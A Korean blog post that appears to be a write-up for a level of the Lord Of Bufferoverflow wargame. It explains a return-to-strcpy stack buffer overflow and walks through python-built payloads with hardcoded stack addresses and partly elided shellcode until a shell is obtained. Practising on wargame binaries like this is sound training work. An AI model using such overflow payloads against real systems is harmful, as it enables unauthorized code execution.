-
|Lord Of Bufferoverflow| #18 succubus - nightmareWargame Site/BOF 2019. 7. 9. 17:30
Write Up 을 보지않고 해결하는 것을 좋아하는 성격 탓에 몇 일 동안 끙끙 거린 뒤,
드디어 풀이를 올린다...
우선 id 와 권한을 확인한다.
천천히 코드를 해석해보면 strcpy 의 주소가 필요하다는 것을 알 수 있다.
그리고 strcpy 바로 다음의 값이 'AAAA' 이다.
이 값은 strcpy 가 실행된 뒤 실행될 위치의 주소가 들어간다.
strcpy 의 주소는 objdump 를 통해서 혹은 gdb -q ./nightmare 를 통해 간단히 확인할 수 있다.
다음과 같이 strcpy 를 맞춰준 뒤, 다음과 같이 인자를 넘겨주었다.
`python -c 'print "A"*44 + [ strcpy 주소 ] + "BBBB" + "CCCC" + "DDDD" + "EEEE" + [ shell code ]'`
작전 세우기
strcpy 의 인자 즉
`python -c 'print "A"*44 + [ strcpy 주소 ] + "BBBB" + "CCCC" + "DDDD" + "EEEE" + [ shellcode ]'`
다음 "CCCC" 영역과 "DDDD" 영역을 dest, src (주소값) 으로 바꿔주어야한다.
우선 주소체계를 보도록하자.
자 그럼, 작전을 어떻게 세워야할까?
정상적으로 우선 strcpy 가 실행이 된 뒤, 0x41414141 로 EIP 가 이동될 것이다.
핵심!! strcpy 를 통해서 다음 실행 위치 ('AAAA' 로 덮어씌여진 부분) 를 내가 원하는 대로 바꿔줄 수 있다.
바꿔줄 곳은 \x6c\xfc\xff\xbf 이다.
그리고 이곳은 다음 EIP 가 된다 ( shellcode 의 위치 > EEEE 부분 )
따라서, Shellcode 의 위치를 가르키면 된다.
`python -c 'print "A"*44 + [ strcpy 주소 ] + "BBBB" + "[ BBBB 의 주소 ]"
+ "[ EEEE 의 주소 ]" + "EEEE" + [ shellcode ]'`
strcpy 가 진행되면 EEEE 는 strcpy 다음으로 실행될 주소를 의미하게 된다.
그렇기 때문에 EEEE 에는 shellcode 의 주소가 들어가면 된다.
`python -c 'print "A"*44 + [ strcpy 주소 ] + "BBBB" +
"[ BBBB 의 주소 ]" + "[ EEEE 의 주소 ]" + [ "shellcode 의 주소 = CCCC 의 주소" ] + [ shellcode ]'`
DDDD 의 주소를 넣어주어야한다는 것을 잘 이해해야한다.
strcpy 를 통해 [EIP] + [shellcode] 가 이동하기 때문에 DDDD 의 주소를 넣어주어야 Shellcode 의 주소를 가르키게 된다.
그렇다면 최종적으로 완성되는 바이너리값은
`python -c 'print "A"*44 + "\x10\x84\x04\x08"+ "BBBB" +
"\x70\xfc\xff\xbf" + "\x7c\xfc\xff\xbf" + "\x74\xfc\xff\xbf" +
"\x31\xc0\...\xcd\x80"'`
SHELL 을 땃다!!
이제 한 문제 남았다 가즈아~
'Wargame Site > BOF' 카테고리의 다른 글
|Lord Of Bufferoverflow| #19 nightmare - xavius (0) 2019.07.10 |Lord Of Bufferoverflow| #17 zombie_assassin - succubus (0) 2019.06.29 |Lord Of Bufferoverflow| #16 assassin - zombie_assassin (0) 2019.06.29 |Lord Of Bufferoverflow| #15 giant - assassin (0) 2019.06.23 |Lord Of Bufferoverflow| #14 bugbear - giant (0) 2019.06.23 댓글